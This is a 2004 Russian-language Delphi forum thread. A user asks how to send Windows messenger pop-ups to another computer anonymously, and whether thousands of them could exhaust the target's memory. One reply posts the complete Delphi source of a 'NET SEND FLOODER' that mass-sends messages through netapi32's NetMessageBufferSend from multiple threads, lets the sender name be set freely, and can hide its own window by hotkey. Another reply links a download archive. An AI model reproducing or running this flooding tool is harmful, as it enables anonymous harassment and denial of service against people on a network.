Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

отправка сообщения другому компу [D7, WinXP]


dablin ©   (2004-11-17 22:26:00) 

Можно ли без команды ‘net send…’ отправить сообщение другому компу(с помощью делфи конечно)?


dablin   (2004-11-18 22:39:00) [1]

Если я, например,отправлю тысячи net send'ов компу у него может произойти переполнение памяти? Ведь когда net send'ы доставляются они же хранятся в оперативе? Или нет?


dablin   (2004-11-18 17:51:00) [2]

просто при отправке через net send светится ip,а я анонимно хотел


SammIk   (2004-11-18 09:23:00) [3]

http://logid.narod.ru/PopUp.zip


kaZaNoVa   (2004-11-17 23:21:00) [4]

kaZaNoVa ©   (17.11.04 23:20) [2]
но как пример - думаю пойдёт, да и кстати, там надо в качестве отправителя либо nil либо "себя" - нвые ситемы не позволяют произвала ...


kaZaNoVa   (2004-11-17 23:20:00) [5]

упс, это был NET SEND FLOODER - немного не то запостил ;)))


kaZaNoVa   (2004-11-17 23:16:00) [6]

мой старый прокт на эту тему

unit Unit1;

interface

uses
 Windows, Messages, SysUtils,
  Variants, Classes, Graphics, Controls, Forms,    StdCtrls;

type
 TForm1 = class(TForm)
   Button1: TButton;
   Edit1: TEdit;
   Edit2: TEdit;
   Edit3: TEdit;
   Label1: TLabel;
   Label2: TLabel;
   Label3: TLabel;
   Label4: TLabel;
   Edit4: TEdit;
   Edit5: TEdit;
   Label5: TLabel;
   procedure Button1Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
 private
   procedure WMSYS(var msg: TMessage);message WM_HOTKEY;
       { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;
 all,thr:integer;
cs:_RTL_CRITICAL_SECTION;

implementation

{$R *.dfm}

type TNetMessageBufferSend = function (ServerName, MsgName,FromName:PWideChar; Buf:Pointer;BufLen: DWord):word; stdcall;

function NetSend(Host, Msg, ot: String): boolean;
var Error:word;
PWCHost,PWCMsg,otp: PWideChar;
Hlib: Cardinal;
NetMessageBufferSend: TNetMessageBufferSend;
begin
@NetMessageBufferSend := nil;
HLib:=LoadLibrary('netapi32.dll');
if HLib=0 then messagebox(0,'error load api','error',0);
if HLib<>0 then
begin
@NetMessageBufferSend:=GetProcAddress(HLib,'NetMessageBufferSend');
if @NetMessageBufferSend=nil then messagebox(0,'error load api 2','error',0);
if @NetMessageBufferSend<>nil then
begin
try
Error:=1;
GetMem(PWCHost, 2*Length(Host)+2);
GetMem(PWCMsg, 2*Length(Msg)+2);
GetMem(otp, 2*Length(ot)+2);
StringToWideChar(ot, otp, Length(ot)+2);
StringToWideChar(Host, PWCHost, Length(Host)+2);
StringToWideChar(Msg, PWCMsg, Length(Msg)+2);
Error:=NetMessageBufferSend(nil, PWCHost, otp, PWCMsg, 2*Length(Msg));
finally
FreeMem(PWCHost);
FreeMem(PWCMsg);
Result := (Error = 0);
end;
end;
end;
FreeLibrary(HLib);
end;

procedure kk;
Begin
repeat
sleep(1);
with form1 do
if not  NetSend(edit1.Text, edit2.Text,edit3.Text) then exit;
EnterCriticalSection(cs);
if all<=0 then exit;
all:=all-1;
if all<=0 then exit;
LeaveCriticalSection(cs);
Until false;
end;

procedure servis;
Begin
repeat
sleep(10);
with form1 do
edit5.Text:=Inttostr(all);
until false;
end;

procedure Flood;
Var tk1,l:cardinal;
Begin
all:=StrToInt(form1.edit5.Text);
Thr:=StrToInt(form1.edit4.Text);
for l:=1 to Thr do
BeginThread(nil,0,@kk,nil,0,tk1);

BeginThread(nil,0,@servis,nil,0,tk1);
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
if ((Edit4.Text='1') and (edit5.Text='1')) then begin
button1.Caption:='жди, мессаги идёт ...';
if not  NetSend(edit1.Text, edit2.Text,edit3.Text)
then MessageBox(form1.handle,Pchar('Error # '+inttostr(GetlastError)),'Error',0);
button1.Caption:='ПослАть !';
end  else Flood;
end;

procedure hidett;
Begin
showWindow(form1.Handle,sw_hide);
showWindow(application.Handle,sw_hide);
end;

Procedure showtt;
Begin
showWindow(form1.Handle,sw_normal);
Setforegroundwindow(form1.Handle);
end;

procedure TForm1.WMSYS(var msg: TMessage);
begin
inherited;
// showmessage(inttostr(Msg.wParam));
Case Msg.wParam of
1:NetSend(edit1.Text, edit2.Text,edit3.Text);
2:hidett;
3:showtt;
4:application.Terminate;
5:messagebox(0,'system','system',0);
End;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
InitializeCriticalSection(cs);
RegisterHotKey(form1.Handle,1, MOD_SHIFT, VK_F1);
RegisterHotKey(form1.Handle,2, MOD_SHIFT, VK_F2);
RegisterHotKey(form1.Handle,3, MOD_SHIFT, VK_F3);
RegisterHotKey(form1.Handle,4, MOD_SHIFT, VK_F4);
RegisterHotKey(form1.Handle,5, MOD_SHIFT, VK_F5);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(form1.Handle,1);
 UnRegisterHotKey(form1.Handle,2);
  UnRegisterHotKey(form1.Handle,3);
   UnRegisterHotKey(form1.Handle,4);
     UnRegisterHotKey(form1.Handle,5);
       DeleteCriticalSection(cs);

end;

end.


Наверх

Титульная страница Поиск, карта сайта Написать письмо